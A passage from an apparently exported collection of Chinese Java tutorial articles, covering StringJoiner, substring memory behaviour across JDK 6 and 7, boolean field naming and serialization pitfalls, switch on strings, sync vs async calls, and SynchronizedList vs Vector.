原理\n\n介绍了简单的用法之后，我们再来看看这个StringJoiner的原理，看看他到底是如何实现的。主要看一下add方法：\n\n    public StringJoiner add(CharSequence newElement) {\n        prepareBuilder().append(newElement);\n        return this;\n    }\n    \n    private StringBuilder prepareBuilder() {\n        if (value != null) {\n            value.append(delimiter);\n        } else {\n            value = new StringBuilder().append(prefix);\n        }\n        return value;\n    }\n    \n\n看到了一个熟悉的身影——StringBuilder ，没错，StringJoiner其实就是依赖StringBuilder实现的。\n\n当我们发现StringJoiner其实是通过StringBuilder实现之后，我们大概就可以猜到，**他的性能损耗应该和直接使用StringBuilder差不多**！\n\n### 为什么需要StringJoiner\n\n在了解了StringJoiner的用法和原理后，可能很多读者就会产生一个疑问，明明已经有一个StringBuilder了，为什么Java 8中还要定义一个StringJoiner呢？到底有什么好处呢？\n\n如果读者足够了解Java 8的话，或许可以猜出个大概，这肯定和Stream有关。\n\n作者也在[Java doc][3]中找到了答案：\n\n> A StringJoiner may be employed to create formatted output from a Stream using Collectors.joining(CharSequence)\n\n试想，在Java中，如果我们有这样一个List：\n\n    List<String> list = ImmutableList.of(\"Hollis\",\"hollischuang\",\"Java干货\");\n    \n\n如果我们想要把他拼接成一个以下形式的字符串：\n\n    Hollis,hollischuang,Java干货\n    \n\n可以通过以下方式：\n\n    StringBuilder builder = new StringBuilder();\n    \n    if (!list.isEmpty()) {\n        builder.append(list.get(0));\n        for (int i = 1, n = list.size(); i < n; i++) {\n            builder.append(\",\").append(list.get(i));\n        }\n    }\n    builder.toString();\n    \n\n还可以使用：\n\n    list.stream().reduce(new StringBuilder(), (sb, s) -> sb.append(s).append(','), StringBuilder::append).toString();\n    \n\n但是输出结果稍有些不同，需要进行二次处理：\n\n    Hollis,hollischuang,Java干货,\n    \n\n还可以使用\"+\"进行拼接：\n\n    list.stream().reduce((a,b)->a + \",\" + b).toString();\n    \n\n以上几种方式，要么是代码复杂，要么是性能不高，或者无法直接得到想要的结果。\n\n为了满足类似这样的需求，Java 8中提供的StringJoiner就派上用场了。以上需求只需要一行代码：\n\n    list.stream().collect(Collectors.joining(\":\"))\n    \n\n即可。上面用的表达式中，Collectors.joining的源代码如下：\n\n    public static Collector<CharSequence, ?, String> joining(CharSequence delimiter,\n                                                             CharSequence prefix,\n                                                             CharSequence suffix) {\n        return new CollectorImpl<>(\n                () -> new StringJoiner(delimiter, prefix, suffix),\n                StringJoiner::add, StringJoiner::merge,\n                StringJoiner::toString, CH_NOID);\n    }\n    \n\n其实现原理就是借助了StringJoiner。\n\n当然，或许在`Collector`中直接使用`StringBuilder`似乎也可以实现类似的功能，只不过稍微麻烦一些。所以，Java 8中提供了`StringJoiner`来丰富`Stream`的用法。\n\n而且`StringJoiner`也可以方便的增加前缀和后缀，比如我们希望得到的字符串是`[Hollis,hollischuang,Java干货]`而不是`Hollis,hollischuang,Java`干货的话，StringJoiner的优势就更加明显了。\n\n### 总结\n\n本文介绍了Java 8中提供的可变字符串类——StringJoiner，可以用于字符串拼接。\n\nStringJoiner其实是通过StringBuilder实现的，所以他的性能和StringBuilder差不多，他也是非线程安全的。\n\n如果日常开发中中，需要进行字符串拼接，如何选择？\n\n1、如果只是简单的字符串拼接，考虑直接使用\"+\"即可。\n\n2、如果是在for循环中进行字符串拼接，考虑使用`StringBuilder`和`StringBuffer`。\n\n3、如果是通过一个`List`进行字符串拼接，则考虑使用`StringJoiner`。\n\n [1]: http://www.hollischuang.com/archives/3186\n [2]: http://www.hollischuang.com/wp-content/uploads/2019/02/15508994967943.jpg\n [3]: https://docs.oracle.com/javase/8/docs/api/java/util/StringJoiner.html"
  },
  {
    "path": "docs/basics/java-basic/substring.md",
    "content": "String是Java中一个比较基础的类，每一个开发人员都会经常接触到。而且，String也是面试中经常会考的知识点。\n\nString有很多方法，有些方法比较常用，有些方法不太常用。今天要介绍的substring就是一个比较常用的方法，而且围绕substring也有很多面试题。\n\n`substring(int beginIndex, int endIndex)`方法在不同版本的JDK中的实现是不同的。了解他们的区别可以帮助你更好的使用他。为简单起见，后文中用`substring()`代表`substring(int beginIndex, int endIndex)`方法。\n\n## substring() 的作用\n\n`substring(int beginIndex, int endIndex)`方法截取字符串并返回其[beginIndex,endIndex-1]范围内的内容。\n\n    String x = \"abcdef\";\n    x = x.substring(1,3);\n    System.out.println(x);\n    \n\n输出内容：\n\n    bc\n    \n\n## 调用substring()时发生了什么？\n\n你可能知道，因为x是不可变的，当使用`x.substring(1,3)`对x赋值的时候，它会指向一个全新的字符串：\n\n![string-immutability1][1]\n\n然而，这个图不是完全正确的表示堆中发生的事情。因为在jdk6 和 jdk7中调用substring时发生的事情并不一样。\n\n## JDK 6中的substring\n\nString是通过字符数组实现的。在jdk 6 中，String类包含三个成员变量：`char value[]`， `int offset`，`int count`。他们分别用来存储真正的字符数组，数组的第一个位置索引以及字符串中包含的字符个数。\n\n当调用substring方法的时候，会创建一个新的string对象，但是这个string的值仍然指向堆中的同一个字符数组。这两个对象中只有count和offset 的值是不同的。\n\n![string-substring-jdk6][2]\n\n下面是证明上说观点的Java源码中的关键代码：\n\n    //JDK 6\n    String(int offset, int count, char value[]) {\n        this.value = value;\n        this.offset = offset;\n        this.count = count;\n    }\n    \n    public String substring(int beginIndex, int endIndex) {\n        //check boundary\n        return  new String(offset + beginIndex, endIndex - beginIndex, value);\n    }\n    \n\n## JDK 6中的substring导致的问题\n\n如果你有一个很长很长的字符串，但是当你使用substring进行切割的时候你只需要很短的一段。这可能导致性能问题，因为你需要的只是一小段字符序列，但是你却引用了整个字符串（因为这个非常长的字符数组一直在被引用，所以无法被回收，就可能导致内存泄露）。在JDK 6中，一般用以下方式来解决该问题，原理其实就是生成一个新的字符串并引用他。\n\n    x = x.substring(x, y) + \"\"\n    \n\n关于JDK 6中subString的使用不当会导致内存系列已经被官方记录在Java Bug Database中：\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2016/03/leak.png\" alt=\"leak\" width=\"1089\" height=\"744\" class=\"aligncenter size-full wp-image-2660\" />\n\n> 内存泄露：在计算机科学中，内存泄漏指由于疏忽或错误造成程序未能释放已经不再使用的内存。 内存泄漏并非指内存在物理上的消失，而是应用程序分配某段内存后，由于设计错误，导致在释放该段内存之前就失去了对该段内存的控制，从而造成了内存的浪费。\n\n## JDK 7 中的substring\n\n上面提到的问题，在jdk 7中得到解决。在jdk 7 中，substring方法会在堆内存中创建一个新的数组。\n\n![string-substring-jdk7][3]\n\nJava源码中关于这部分的主要代码如下：\n\n    //JDK 7\n    public String(char value[], int offset, int count) {\n        //check boundary\n        this.value = Arrays.copyOfRange(value, offset, offset + count);\n    }\n    \n    public String substring(int beginIndex, int endIndex) {\n        //check boundary\n        int subLen = endIndex - beginIndex;\n        return new String(value, beginIndex, subLen);\n    }\n    \n\n以上是JDK 7中的subString方法，其使用`new String`创建了一个新字符串，避免对老字符串的引用。从而解决了内存泄露问题。\n\n所以，如果你的生产环境中使用的JDK版本小于1.7，当你使用String的subString方法时一定要注意，避免内存泄露。\n\n [1]: http://www.programcreek.com/wp-content/uploads/2013/09/string-immutability1-650x303.jpeg\n [2]: http://www.programcreek.com/wp-content/uploads/2013/09/string-substring-jdk6-650x389.jpeg\n [3]: http://www.programcreek.com/wp-content/uploads/2013/09/string-substring-jdk71-650x389.jpeg\n"
  },
  {
    "path": "docs/basics/java-basic/success-isSuccess-and-boolean-Boolean.md",
    "content": "在日常开发中，我们会经常要在类中定义布尔类型的变量，比如在给外部系统提供一个RPC接口的时候，我们一般会定义一个字段表示本次请求是否成功的。\n\n关于这个\"本次请求是否成功\"的字段的定义，其实是有很多种讲究和坑的，稍有不慎就会掉入坑里，作者在很久之前就遇到过类似的问题，本文就来围绕这个简单分析一下。到底该如何定一个布尔类型的成员变量。\n\n一般情况下，我们可以有以下四种方式来定义一个布尔类型的成员变量：\n\n    boolean success\n    boolean isSuccess\n    Boolean success\n    Boolean isSuccess\n    \n\n以上四种定义形式，你日常开发中最常用的是哪种呢？到底哪一种才是正确的使用姿势呢？\n\n通过观察我们可以发现，前两种和后两种的主要区别是变量的类型不同，前者使用的是boolean，后者使用的是Boolean。\n\n另外，第一种和第三种在定义变量的时候，变量命名是success，而另外两种使用isSuccess来命名的。\n\n首先，我们来分析一下，到底应该是用success来命名，还是使用isSuccess更好一点。\n\n### success 还是 isSuccess\n\n到底应该是用success还是isSuccess来给变量命名呢？从语义上面来讲，两种命名方式都可以讲的通，并且也都没有歧义。那么还有什么原则可以参考来让我们做选择呢。\n\n在阿里巴巴Java开发手册中关于这一点，有过一个『强制性』规定：\n\n![-w656][1]￼\n\n那么，为什么会有这样的规定呢？我们看一下POJO中布尔类型变量不同的命名有什么区别吧。\n\n    class Model1  {\n        private Boolean isSuccess;\n        public void setSuccess(Boolean success) {\n            isSuccess = success;\n        }\n        public Boolean getSuccess() {\n            return isSuccess;\n        }\n     }\n    \n    class Model2 {\n        private Boolean success;\n        public Boolean getSuccess() {\n            return success;\n        }\n        public void setSuccess(Boolean success) {\n            this.success = success;\n        }\n    }\n    \n    class Model3 {\n        private boolean isSuccess;\n        public boolean isSuccess() {\n            return isSuccess;\n        }\n        public void setSuccess(boolean success) {\n            isSuccess = success;\n        }\n    }\n    \n    class Model4 {\n        private boolean success;\n        public boolean isSuccess() {\n            return success;\n        }\n        public void setSuccess(boolean success) {\n            this.success = success;\n        }\n    }\n    \n\n以上代码的setter/getter是使用Intellij IDEA自动生成的，仔细观察以上代码，你会发现以下规律：\n\n*   基本类型自动生成的getter和setter方法，名称都是`isXXX()`和`setXXX()`形式的。\n*   包装类型自动生成的getter和setter方法，名称都是`getXXX()`和`setXXX()`形式的。\n\n既然，我们已经达成一致共识使用基本类型boolean来定义成员变量了，那么我们再来具体看下Model3和Model4中的setter/getter有何区别。\n\n我们可以发现，虽然Model3和Model4中的成员变量的名称不同，一个是success，另外一个是isSuccess，但是他们自动生成的getter和setter方法名称都是`isSuccess`和`setSuccess`。\n\n**Java Bean中关于setter/getter的规范**\n\n关于Java Bean中的getter/setter方法的定义其实是有明确的规定的，根据[JavaBeans(TM) Specification][2]规定，如果是普通的参数propertyName，要以以下方式定义其setter/getter：\n\n    public <PropertyType> get<PropertyName>();\n    public void set<PropertyName>(<PropertyType> a);\n    \n\n但是，布尔类型的变量propertyName则是单独定义的：\n\n    public boolean is<PropertyName>();\n    public void set<PropertyName>(boolean m);\n    \n\n![-w687][3]￼\n\n通过对照这份JavaBeans规范，我们发现，在Model4中，变量名为isSuccess，如果严格按照规范定义的话，他的getter方法应该叫isIsSuccess。但是很多IDE都会默认生成为isSuccess。\n\n那这样做会带来什么问题呢。\n\n在一般情况下，其实是没有影响的。但是有一种特殊情况就会有问题，那就是发生序列化的时候。\n\n**序列化带来的影响**\n\n关于序列化和反序列化请参考[Java对象的序列化与反序列化][4]。我们这里拿比较常用的JSON序列化来举例，看看看常用的fastJson、jackson和Gson之间有何区别：\n\n    public class BooleanMainTest {\n    \n        public static void main(String[] args) throws IOException {\n            //定一个Model3类型\n            Model3 model3 = new Model3();\n            model3.setSuccess(true);\n    \n            //使用fastjson(1.2.16)序列化model3成字符串并输出\n            System.out.println(\"Serializable Result With fastjson :\" + JSON.toJSONString(model3));\n    \n            //使用Gson(2.8.5)序列化model3成字符串并输出\n            Gson gson =new Gson();\n            System.out.println(\"Serializable Result With Gson :\" +gson.toJson(model3));\n    \n            //使用jackson(2.9.7)序列化model3成字符串并输出\n            ObjectMapper om = new ObjectMapper();\n            System.out.println(\"Serializable Result With jackson :\" +om.writeValueAsString(model3));\n        }\n    \n    }\n    \n    class Model3 implements Serializable {\n    \n        private static final long serialVersionUID = 1836697963736227954L;\n        private boolean isSuccess;\n        public boolean isSuccess() {\n            return isSuccess;\n        }\n        public void setSuccess(boolean success) {\n            isSuccess = success;\n        }\n        public String getHollis(){\n            return \"hollischuang\";\n        }\n    }\n    \n\n以上代码的Model3中，只有一个成员变量即isSuccess，三个方法，分别是IDE帮我们自动生成的isSuccess和setSuccess，另外一个是作者自己增加的一个符合getter命名规范的方法。\n\n以上代码输出结果：\n\n    Serializable Result With fastjson :{\"hollis\":\"hollischuang\",\"success\":true}\n    Serializable Result With Gson :{\"isSuccess\":true}\n    Serializable Result With jackson :{\"success\":true,\"hollis\":\"hollischuang\"}\n    \n\n在fastjson和jackson的结果中，原来类中的isSuccess字段被序列化成success，并且其中还包含hollis值。而Gson中只有isSuccess字段。\n\n我们可以得出结论：fastjson和jackson在把对象序列化成json字符串的时候，是通过反射遍历出该类中的所有getter方法，得到getHollis和isSuccess，然后根据JavaBeans规则，他会认为这是两个属性hollis和success的值。直接序列化成json:{\"hollis\":\"hollischuang\",\"success\":true}\n\n但是Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json:{\"isSuccess\":true}\n\n可以看到，由于不同的序列化工具，在进行序列化的时候使用到的策略是不一样的，所以，对于同一个类的同一个对象的序列化结果可能是不同的。\n\n前面提到的关于对getHollis的序列化只是为了说明fastjson、jackson和Gson之间的序列化策略的不同，我们暂且把他放到一边，我们把他从Model3中删除后，重新执行下以上代码，得到结果：\n\n    Serializable Result With fastjson :{\"success\":true}\n    Serializable Result With Gson :{\"isSuccess\":true}\n    Serializable Result With jackson :{\"success\":true}\n    \n\n现在，不同的序列化框架得到的json内容并不相同，如果对于同一个对象，我使用fastjson进行序列化，再使用Gson反序列化会发生什么？\n\n    public class BooleanMainTest {\n        public static void main(String[] args) throws IOException {\n            Model3 model3 = new Model3();\n            model3.setSuccess(true);\n            Gson gson =new Gson();\n            System.out.println(gson.fromJson(JSON.toJSONString(model3),Model3.class));\n        }\n    }\n    \n    \n    class Model3 implements Serializable {\n        private static final long serialVersionUID = 1836697963736227954L;\n        private boolean isSuccess;\n        public boolean isSuccess() {\n            return isSuccess;\n        }\n        public void setSuccess(boolean success) {\n            isSuccess = success;\n        }\n        @Override\n        public String toString() {\n            return new StringJoiner(\", \", Model3.class.getSimpleName() + \"[\", \"]\")\n                .add(\"isSuccess=\" + isSuccess)\n                .toString();\n        }\n    }\n    \n\n以上代码，输出结果：\n\n    Model3[isSuccess=false]\n    \n\n这和我们预期的结果完全相反，原因是因为JSON框架通过扫描所有的getter后发现有一个isSuccess方法，然后根据JavaBeans的规范，解析出变量名为success，把model对象序列化城字符串后内容为`{\"success\":true}`。\n\n根据`{\"success\":true}`这个json串，Gson框架在通过解析后，通过反射寻找Model类中的success属性，但是Model类中只有isSuccess属性，所以，最终反序列化后的Model类的对象中，isSuccess则会使用默认值false。\n\n但是，一旦以上代码发生在生产环境，这绝对是一个致命的问题。\n\n所以，作为开发者，我们应该想办法尽量避免这种问题的发生，对于POJO的设计者来说，只需要做简单的一件事就可以解决这个问题了，那就是把isSuccess改为success。这样，该类里面的成员变量时success，getter方法是isSuccess，这是完全符合JavaBeans规范的。无论哪种序列化框架，执行结果都一样。就从源头避免了这个问题。\n\n引用以下R大关于阿里巴巴Java开发手册这条规定的评价（https://www.zhihu.com/question/55642203 ）：\n\n![-w665][5]￼\n\n所以，**在定义POJO中的布尔类型的变量时，不要使用isSuccess这种形式，而要直接使用success！**\n\n### Boolean还是boolean\n\n前面我们介绍完了在success和isSuccess之间如何选择，那么排除错误答案后，备选项还剩下：\n\n    boolean success\n    Boolean success\n    \n\n那么，到底应该是用Boolean还是boolean来给定一个布尔类型的变量呢？\n\n我们知道，boolean是基本数据类型，而Boolean是包装类型。关于基本数据类型和包装类之间的关系和区别请参考[一文读懂什么是Java中的自动拆装箱][6]\n\n那么，在定义一个成员变量的时候到底是使用包装类型更好还是使用基本数据类型呢？\n\n我们来看一段简单的代码\n\n     /**\n     * @author Hollis\n     */\n    public class BooleanMainTest {\n        public static void main(String[] args) {\n            Model model1 = new Model();\n            System.out.println(\"default model : \" + model1);\n        }\n    }\n    \n    class Model {\n        /**\n         * 定一个Boolean类型的success成员变量\n         */\n        private Boolean success;\n        /**\n         * 定一个boolean类型的failure成员变量\n         */\n        private boolean failure;\n    \n        /**\n         * 覆盖toString方法，使用Java 8 的StringJoiner\n         */\n        @Override\n        public String toString() {\n            return new StringJoiner(\", \", Model.class.getSimpleName() + \"[\", \"]\")\n                .add(\"success=\" + success)\n                .add(\"failure=\" + failure)\n                .toString();\n        }\n    }\n    \n\n以上代码输出结果为：\n\n    default model : Model[success=null, failure=false]\n    \n\n可以看到，当我们没有设置Model对象的字段的值的时候，Boolean类型的变量会设置默认值为`null`，而boolean类型的变量会设置默认值为`false`。\n\n即对象的默认值是`null`，boolean基本数据类型的默认值是`false`。\n\n在阿里巴巴Java开发手册中，对于POJO中如何选择变量的类型也有着一些规定：\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/12/640.jpeg\" alt=\"\" width=\"1080\" height=\"445\" class=\"aligncenter size-full wp-image-3558\" />\n\n这里建议我们使用包装类型，原因是什么呢？\n\n举一个扣费的例子，我们做一个扣费系统，扣费时需要从外部的定价系统中读取一个费率的值，我们预期该接口的返回值中会包含一个浮点型的费率字段。当我们取到这个值得时候就使用公式：金额*费率=费用 进行计算，计算结果进行划扣。\n\n如果由于计费系统异常，他可能会返回个默认值，如果这个字段是Double类型的话，该默认值为null，如果该字段是double类型的话，该默认值为0.0。\n\n如果扣费系统对于该费率返回值没做特殊处理的话，拿到null值进行计算会直接报错，阻断程序。拿到0.0可能就直接进行计算，得出接口为0后进行扣费了。这种异常情况就无法被感知。\n\n这种使用包装类型定义变量的方式，通过异常来阻断程序，进而可以被识别到这种线上问题。如果使用基本数据类型的话，系统可能不会报错，进而认为无异常。\n\n**以上，就是建议在POJO和RPC的返回值中使用包装类型的原因。**\n\n但是关于这一点，作者之前也有过不同的看法：对于布尔类型的变量，我认为可以和其他类型区分开来，作者并不认为使用null进而导致NPE是一种最好的实践。因为布尔类型只有true/false两种值，我们完全可以和外部调用方约定好当返回值为false时的明确语义。\n\n后来，作者单独和《阿里巴巴Java开发手册》、《码出高效》的作者——孤尽 单独1V1(qing) Battle(jiao)了一下。最终达成共识，还是**尽量使用包装类型**。\n\n**但是，作者还是想强调一个我的观点，尽量避免在你的代码中出现不确定的null值。**\n\n\n### 总结\n\n本文围绕布尔类型的变量定义的类型和命名展开了介绍，最终我们可以得出结论，在定义一个布尔类型的变量，尤其是一个给外部提供的接口返回值时，要使用success来命名，阿里巴巴Java开发手册建议使用封装类来定义POJO和RPC返回值中的变量。但是这不意味着可以随意的使用null，我们还是要尽量避免出现对null的处理的。\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449439364854.jpg\n [2]: https://download.oracle.com/otndocs/jcp/7224-javabeans-1.01-fr-spec-oth-JSpec/\n [3]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449455942045.jpg\n [4]: http://www.hollischuang.com/archives/1150\n [5]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449492627754.jpg\n [6]: http://www.hollischuang.com/archives/2700\n [7]: http://www.hollischuang.com/archives/883\n [8]: http://www.hollischuang.com/archives/74\n [9]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449430847727.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/switch-string.md",
    "content": "Java 7中，switch的参数可以是String类型了，这对我们来说是一个很方便的改进。到目前为止switch支持这样几种数据类型：`byte` `short` `int` `char` `String` 。但是，作为一个程序员我们不仅要知道他有多么好用，还要知道它是如何实现的，switch对整型的支持是怎么实现的呢？对字符型是怎么实现的呢？String类型呢？有一点Java开发经验的人这个时候都会猜测switch对String的支持是使用equals()方法和hashcode()方法。那么到底是不是这两个方法呢？接下来我们就看一下，switch到底是如何实现的。\n\n### 一、switch对整型支持的实现\n\n下面是一段很简单的Java代码，定义一个int型变量a，然后使用switch语句进行判断。执行这段代码输出内容为5，那么我们将下面这段代码反编译，看看他到底是怎么实现的。\n\n    public class switchDemoInt {\n        public static void main(String[] args) {\n            int a = 5;\n            switch (a) {\n            case 1:\n                System.out.println(1);\n                break;\n            case 5:\n                System.out.println(5);\n                break;\n            default:\n                break;\n            }\n        }\n    }\n    //output 5\n\n\n反编译后的代码如下：\n\n    public class switchDemoInt\n    {\n        public switchDemoInt()\n        {\n        }\n        public static void main(String args[])\n        {\n            int a = 5;\n            switch(a)\n            {\n            case 1: // '\\001'\n                System.out.println(1);\n                break;\n\n            case 5: // '\\005'\n                System.out.println(5);\n                break;\n            }\n        }\n    }\n\n\n我们发现，反编译后的代码和之前的代码比较除了多了两行注释以外没有任何区别，那么我们就知道，**switch对int的判断是直接比较整数的值**。\n\n### 二、switch对字符型支持的实现\n\n直接上代码：\n\n    public class switchDemoInt {\n        public static void main(String[] args) {\n            char a = 'b';\n            switch (a) {\n            case 'a':\n                System.out.println('a');\n                break;\n            case 'b':\n                System.out.println('b');\n                break;\n            default:\n                break;\n            }\n        }\n    }\n\n\n编译后的代码如下： \n\n    public class switchDemoChar\n    {\n        public switchDemoChar()\n        {\n        }\n        public static void main(String args[])\n        {\n            char a = 'b';\n            switch(a)\n            {\n            case 97: // 'a'\n                System.out.println('a');\n                break;\n            case 98: // 'b'\n                System.out.println('b');\n                break;\n            }\n      }\n    }\n\n\n通过以上的代码作比较我们发现：对char类型进行比较的时候，实际上比较的是ascii码，编译器会把char型变量转换成对应的int型变量\n\n### 三、switch对字符串支持的实现\n\n还是先上代码：\n\n    public class switchDemoString {\n        public static void main(String[] args) {\n            String str = \"world\";\n            switch (str) {\n            case \"hello\":\n                System.out.println(\"hello\");\n                break;\n            case \"world\":\n                System.out.println(\"world\");\n                break;\n            default:\n                break;\n            }\n        }\n    }\n\n\n对代码进行反编译：\n\n    public class switchDemoString\n    {\n        public switchDemoString()\n        {\n        }\n        public static void main(String args[])\n        {\n            String str = \"world\";\n            String s;\n            switch((s = str).hashCode())\n            {\n            default:\n                break;\n            case 99162322:\n                if(s.equals(\"hello\"))\n                    System.out.println(\"hello\");\n                break;\n            case 113318802:\n                if(s.equals(\"world\"))\n                    System.out.println(\"world\");\n                break;\n            }\n        }\n    }\n\n\n看到这个代码，你知道原来字符串的switch是通过`equals()`和`hashCode()`方法来实现的。**记住，switch中只能使用整型**，比如`byte`。`short`，`char`(ackii码是整型)以及`int`。还好`hashCode()`方法返回的是`int`，而不是`long`。通过这个很容易记住`hashCode`返回的是`int`这个事实。仔细看下可以发现，进行`switch`的实际是哈希值，然后通过使用equals方法比较进行安全检查，这个检查是必要的，因为哈希可能会发生碰撞。因此它的性能是不如使用枚举进行switch或者使用纯整数常量，但这也不是很差。因为Java编译器只增加了一个`equals`方法，如果你比较的是字符串字面量的话会非常快，比如”abc” ==”abc”。如果你把`hashCode()`方法的调用也考虑进来了，那么还会再多一次的调用开销，因为字符串一旦创建了，它就会把哈希值缓存起来。因此如果这个`switch`语句是用在一个循环里的，比如逐项处理某个值，或者游戏引擎循环地渲染屏幕，这里`hashCode()`方法的调用开销其实不会很大。\n\n好，以上就是关于switch对整型、字符型、和字符串型的支持的实现方式，总结一下我们可以发现，**其实switch只支持一种数据类型，那就是整型，其他数据类型都是转换成整型之后再使用switch的。**\n"
  },
  {
    "path": "docs/basics/java-basic/synchronized-vs-asynchronization.md",
    "content": "同步与异步描述的是被调用者的。\n\n如A调用B：\n\n如果是同步，B在接到A的调用后，会立即执行要做的事。A的本次调用可以得到结果。\n\n如果是异步，B在接到A的调用后，不保证会立即执行要做的事，但是保证会去做，B在做好了之后会通知A。A的本次调用得不到结果，但是B执行完之后会通知A。\n\n### 同步，异步 和 阻塞，非阻塞之间的区别\n\n同步，异步，是描述被调用方的。\n\n[阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)，是描述调用方的。\n\n同步不一定阻塞，异步也不一定非阻塞。没有必然关系。\n\n举个简单的例子，老张烧水。\n1 老张把水壶放到火上，一直在水壶旁等着水开。（同步阻塞）\n2 老张把水壶放到火上，去客厅看电视，时不时去厨房看看水开没有。（同步非阻塞）\n3 老张把响水壶放到火上，一直在水壶旁等着水开。（异步阻塞）\n4 老张把响水壶放到火上，去客厅看电视，水壶响之前不再去看它了，响了再去拿壶。（异步非阻塞）\n\n1和2的区别是，调用方在得到返回之前所做的事情不一样。\n1和3的区别是，被调用方对于烧水的处理不一样。\n"
  },
  {
    "path": "docs/basics/java-basic/synchronizedlist-vector.md",
    "content": "Vector是java.util包中的一个类。 SynchronizedList是java.util.Collections中的一个静态内部类。\n\n在多线程的场景中可以直接使用Vector类，也可以使用Collections.synchronizedList(List<t> list)方法来返回一个线程安全的List。</t>\n\n**那么，到底SynchronizedList和Vector有没有区别，为什么java api要提供这两种线程安全的List的实现方式呢？**\n\n首先，我们知道Vector和Arraylist都是List的子类，他们底层的实现都是一样的。所以这里比较如下两个`list1`和`list2`的区别：\n\n    List<String> list = new ArrayList<String>();\n    List list2 =  Collections.synchronizedList(list);\n    Vector<String> list1 = new Vector<String>();\n    \n\n## 一、比较几个重要的方法。\n\n### 1\\.1 add方法\n\n**Vector的实现：**\n\n    public void add(int index, E element) {\n        insertElementAt(element, index);\n    }\n    \n    public synchronized void insertElementAt(E obj, int index) {\n        modCount++;\n        if (index > elementCount) {\n            throw new ArrayIndexOutOfBoundsException(index\n                                                     + \" > \" + elementCount);\n        }\n        ensureCapacityHelper(elementCount + 1);\n        System.arraycopy(elementData, index, elementData, index + 1, elementCount - index);\n        elementData[index] = obj;\n        elementCount++;\n    }\n    \n    private void ensureCapacityHelper(int minCapacity) {\n        // overflow-conscious code\n        if (minCapacity - elementData.length > 0)\n            grow(minCapacity);\n    }\n    \n\n**synchronizedList的实现：**\n\n    public void add(int index, E element) {\n       synchronized (mutex) {\n           list.add(index, element);\n       }\n    }\n    \n\n这里，使用同步代码块的方式调用ArrayList的add()方法。ArrayList的add方法内容如下：\n\n    public void add(int index, E element) {\n        rangeCheckForAdd(index);\n        ensureCapacityInternal(size + 1);  // Increments modCount!!\n        System.arraycopy(elementData, index, elementData, index + 1,\n                         size - index);\n        elementData[index] = element;\n        size++;\n    }\n    private void rangeCheckForAdd(int index) {\n        if (index > size || index < 0)\n            throw new IndexOutOfBoundsException(outOfBoundsMsg(index));\n    }\n    private void ensureCapacityInternal(int minCapacity) {\n        if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {\n            minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);\n        }\n        ensureExplicitCapacity(minCapacity);\n    }\n    \n\n从上面两段代码中发现有两处不同： **1\\.Vector使用同步方法实现，synchronizedList使用同步代码块实现。 2.两者的扩充数组容量方式不一样（两者的add方法在扩容方面的差别也就是ArrayList和Vector的差别。）**\n\n### 1\\.2 remove方法\n\n**synchronizedList的实现：**\n\n    public E remove(int index) {\n        synchronized (mutex) {return list.remove(index);}\n    }\n    \n\nArrayList类的remove方法内容如下：\n\n    public E remove(int index) {\n        rangeCheck(index);\n    \n        modCount++;\n        E oldValue = elementData(index);\n    \n        int numMoved = size - index - 1;\n        if (numMoved > 0)\n            System.arraycopy(elementData, index+1, elementData, index,\n                             numMoved);\n        elementData[--size] = null; // clear to let GC do its work\n    \n        return oldValue;\n    }\n    \n\n**Vector的实现：**\n\n    public synchronized E remove(int index) {\n            modCount++;\n            if (index >= elementCount)\n                throw new ArrayIndexOutOfBoundsException(index);\n            E oldValue = elementData(index);\n    \n            int numMoved = elementCount - index - 1;\n            if (numMoved > 0)\n                System.arraycopy(elementData, index+1, elementData, index,\n                                 numMoved);\n            elementData[--elementCount] = null; // Let gc do its work\n    \n            return oldValue;\n        }\n    \n\n**从remove方法中我们发现除了一个使用同步方法，一个使用同步代码块之外几乎无任何区别。**\n\n> 通过比较其他方法，我们发现，SynchronizedList里面实现的方法几乎都是使用同步代码块包上List的方法。如果该List是ArrayList,那么，SynchronizedList和Vector的一个比较明显区别就是一个使用了同步代码块，一个使用了同步方法。\n\n## 三、区别分析\n\n**数据增长区别**\n\n> 从内部实现机制来讲ArrayList和Vector都是使用数组(Array)来控制集合中的对象。当你向这两种类型中增加元素的时候，如果元素的数目超出了内部数组目前的长度它们都需要扩展内部数组的长度，Vector缺省情况下自动增长原来一倍的数组长度，ArrayList是原来的50%,所以最后你获得的这个集合所占的空间总是比你实际需要的要大。所以如果你要在集合中保存大量的数据那么使用Vector有一些优势，因为你可以通过设置集合的初始化大小来避免不必要的资源开销。\n\n**同步代码块和同步方法的区别** \n\n1.同步代码块在锁定的范围上可能比同步方法要小，一般来说锁的范围大小和性能是成反比的。 \n\n2.同步块可以更加精确的控制锁的作用域（锁的作用域就是从锁被获取到其被释放的时间），同步方法的锁的作用域就是整个方法。\n\n3.同步代码块可以选择对哪个对象加锁，但是静态方法只能给this对象加锁。\n\n> 因为SynchronizedList只是使用同步代码块包裹了ArrayList的方法，而ArrayList和Vector中同名方法的方法体内容并无太大差异，所以在锁定范围和锁的作用域上两者并无区别。 在锁定的对象区别上，SynchronizedList的同步代码块锁定的是mutex对象，Vector锁定的是this对象。那么mutex对象又是什么呢？ 其实SynchronizedList有一个构造函数可以传入一个Object,如果在调用的时候显示的传入一个对象，那么锁定的就是用户传入的对象。如果没有指定，那么锁定的也是this对象。\n\n所以，SynchronizedList和Vector的区别目前为止有两点： 1.如果使用add方法，那么他们的扩容机制不一样。 2.SynchronizedList可以指定锁定的对象。\n\n但是，凡事都有但是。 SynchronizedList中实现的类并没有都使用synchronized同步代码块。其中有listIterator和listIterator(int index)并没有做同步处理。但是Vector却对该方法加了方法锁。 所以说，在使用SynchronizedList进行遍历的时候要手动加锁。\n\n但是，但是之后还有但是。\n\n之前的比较都是基于我们将ArrayList转成SynchronizedList。那么如果我们想把LinkedList变成线程安全的，或者说我想要方便在中间插入和删除的同步的链表，那么我可以将已有的LinkedList直接转成 